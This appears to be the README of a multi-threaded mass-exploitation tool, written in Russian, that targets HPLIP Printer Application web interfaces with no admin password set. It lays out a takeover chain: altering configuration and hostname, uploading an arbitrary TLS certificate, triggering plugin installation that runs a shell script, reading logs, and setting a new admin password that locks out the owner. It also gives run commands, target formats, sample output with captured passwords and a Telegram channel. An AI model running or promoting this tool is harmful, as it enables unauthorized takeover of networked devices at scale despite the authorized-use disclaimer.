HPLIP < 3.26.6 — Полный захват прав администратора через веб-интерфейс PAPPL (без аутентификации). Связано с CVE-2026-91097 по CVE-2026-91106 (CVSS 9.3)
🔬 Присоединяйтесь к Telegram для последних исследований уязвимостей и релизов эксплойтов
Инструмент массовой эксплуатации, нацеленный на HPLIP Printer Application (веб-интерфейс на базе PAPPL) во всех версиях HPLIP до 3.26.6. Инструмент эксплуатирует состояние по умолчанию без аутентификации веб-интерфейса PAPPL для выполнения полной цепочки захвата администратора: изменение конфигурации, изменение имени хоста, замена TLS-сертификата, установка плагина HP (запускает выполнение .run файла на цели через shell), эксфильтрация системных логов и блокировка пароля администратора.
Основная уязвимость — неаутентифицированный административный доступ PAPPL — HPLIP Printer Application поставляется без настроенного пароля по умолчанию, что позволяет любому сетевому атакующему выполнять все административные действия без аутентификации через веб-интерфейс (обычно порт 8000).
Кроме того, цепочка установки плагина использует слабости, описанные в:
| CVE | CWE | CVSS 4.0 | Актуальность |
|---|---|---|---|
| CVE-2026-91097 | CWE-94 / CWE-787 | 7.0 | Path Traversal в plugin.spec — установка плагина, запускаемая этим инструментом, проходит через уязвимый код pluginhandler.py |
| CVE-2026-91102 | CWE-78 / CWE-494 | 8.4 | Загрузка без проверки целостности — файл плагина .run загружается по HTTP и выполняется через sh на цели |
Бюллетень безопасности HP: HPSBPI04151
| Эндпоинт | Действие | Проверено |
|---|---|---|
/security | Установка пароля администратора (захват учётной записи) | ✅ |
/config | Изменение DNS-SD имени, местоположения, организации, контакта | ✅ |
/network | Изменение имени хоста системы | ✅ |
/tls-install-crt | Загрузка произвольного TLS-сертификата + приватного ключа | ✅ |
/plugin | Запуск загрузки плагина HP + принятие лицензии + установка (выполняет .run через sh) | ✅ |
/logfile.txt | Чтение полного лог-файла приложения (раскрытие информации) | ✅ |
Target Discovery
│
▼
Detect HPLIP Printer Application (Server header + version)
│
▼
Check Authentication Status (/security)
│
├── Password Set ──► Log as VULN (locked)
│
└── No Password (default) ──► Exploit Chain:
│
├── 1. Modify Configuration (/config)
│ dns_sd_name, location, organization, contact_name
│ Verified: marker reflected in response
│
├── 2. Change Hostname (/network)
│ Old hostname captured, new hostname set
│ Verified: new value reflected in response
│
├── 3. Upload TLS Certificate (/tls-install-crt)
│ Custom PEM certificate + private key
│ Multipart file upload
│
├── 4. Install HP Plugin (/plugin)
│ Step 1: POST action=install-plugin (downloads .run)
│ Step 2: POST action=license-accepted (executes with sh)
│ ⚠ CVE-2026-91097 + CVE-2026-91102
│
├── 5. Read Log File (/logfile.txt)
│ System paths, environment info, Snap paths
│
└── 6. Set Admin Password (/security)
Locks out further unauthenticated access
Completes full admin takeover
pip install requests
Требуется Python 3.8+. Других зависимостей нет.
python T.py targets.txt 50
| Аргумент | Описание | По умолчанию |
|---|---|---|
targets.txt | Файл со списком целей (по одной в строке) | Запрашивается |
50 | Количество одновременных потоков | 15 |
python T.py
Инструмент запросит файл со списком целей и количество потоков.
192.168.1.100:8000
https://10.0.0.1:8000
http://printer.local:8000
192.168.1.100
printer.example.com
8000#, игнорируются| Файл | Содержимое |
|---|---|
AdminS.txt | Захват администратора — пароль, версия сервера, полная карта URL панели |
Nx_modify.txt | Подтверждённые изменения конфигурации и имени хоста (старые → новые значения) |
Nx_upload.txt | Подтверждения загрузки TLS-сертификатов |
Nx_plugin.txt | Результаты установки плагина HP со статусом выполнения через shell |
Nx_recon.txt | Раскрытие информации — размер лог-файла, пути окружения, версия |
AdminS.txthttp://192.168.1.100:8000 | v3.22.10 | password=Nx-zD_buovl6wko0 | server=HPLIP_Printer_Application/3.22.10-13 PAPPL/1.4.9 | panel=http://192.168.1.100:8000/ | security=http://192.168.1.100:8000/security | config=http://192.168.1.100:8000/config | ...
Nx_modify.txthttp://192.168.1.100:8000/config | v3.22.10 | type=CONFIG | verified=true | dns_sd_name: 'HPLIP Printer Application' -> 'HPLIP [marker]' | location: '' -> 'Nxploited-marker'
http://192.168.1.100:8000/network | v3.22.10 | type=HOSTNAME | verified=true | old=ORIGINAL-HOST.local | new=nx-abc123
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
██████ ██ ██ ██
██ ███ ██ ██ ██
██ ██████ ███
██ █████ ██ ██
██ ████ ██ ██
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HPLIP Printer Application │ Admin Takeover + Full Control
Affected < 3.26.6 │ PAPPL Unauthenticated Access
CVE-2026-91097 │ Plugin Path Traversal
CVE-2026-91102 │ Plugin Download Without Integrity + Shell Exec
Exploited via Web: /security /config /network /plugin /tls-install-crt /logs
By: Nxploited ( Khaled Alenazi ) │ Telegram: @Kxploit
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
targets=4 threads=4
00:11:34 [CUPS ] http://192.168.1.100:8000 Server: HPLIP_Printer_Application/3.22.10-13
00:11:34 [VER ] http://192.168.1.100:8000 v3.22.10 < 3.26.6 AFFECTED
00:11:35 [PROBE ] http://192.168.1.100:8000 v3.22.10 | NO AUTH | exploiting...
00:11:36 [CFG ] http://192.168.1.100:8000 CONFIG MODIFIED | marker=abc12345
00:11:37 [NET ] http://192.168.1.100:8000 HOSTNAME 'OLD-HOST.local' -> 'nx-xyz789'
00:11:38 [CERT ] http://192.168.1.100:8000 TLS CERT UPLOADED | marker=abc12345
00:12:03 [PLG ] http://192.168.1.100:8000 PLUGIN | freshly_installed | shell_exec=True
00:12:05 [LOG ] http://192.168.1.100:8000 logfile.txt | 19083B | env=/var/snap/hplip-printer-app/
00:12:05 [ADMIN ] http://192.168.1.100:8000 PASSWORD SET | pw=Nx-zD_buovl6wko0
00:12:05 [HIT ] http://192.168.1.100:8000 v3.22.10 + CONFIG + HOSTNAME + CERT + PLUGIN + LOGS + ADMIN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
DONE 4/4 █ HIT=4 █ VULN=0 █ SAFE=0 █ SKIP=0
▐ Admin Takeover: 4 └─ AdminS.txt
▐ Modifications : 8 └─ Nx_modify.txt
▐ Cert Uploads : 4 └─ Nx_upload.txt
▐ Plugin Exec : 1 └─ Nx_plugin.txt
▐ Recon / Info : 8 └─ Nx_recon.txt
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
| Тег | Значение |
|---|---|
HIT | Успешно эксплуатировано — достигнут захват администратора |
VULN | Уязвимо, но пароль уже установлен (заблокировано) |
SAFE | Версия ≥ 3.26.6 (исправлено) |
SKIP | Не является HPLIP Printer Application или недоступно |
/var/snap/hplip-printer-app/common/sh plugin.run --keep --nox11, что выполняет официальный бинарный файл плагина HP — содержимое загружается с серверов HP; атакующий не контролирует содержимое плагина, но инициирует его выполнениеBy: Nxploited
Этот инструмент предоставляется строго для авторизованных исследований безопасности, тестирования на проникновение и образовательных целей. Использование этого инструмента против систем без явного письменного разрешения владельца системы является незаконным и неэтичным. Автор не несёт ответственности за любое неправомерное использование, ущерб или юридические последствия, возникшие в результате использования этого инструмента. Всегда получайте надлежащее разрешение перед проведением любых оценок безопасности. Используя этот инструмент, вы соглашаетесь с тем, что несёте единоличную ответственность за свои действия и соблюдение всех применимых законов и нормативных актов.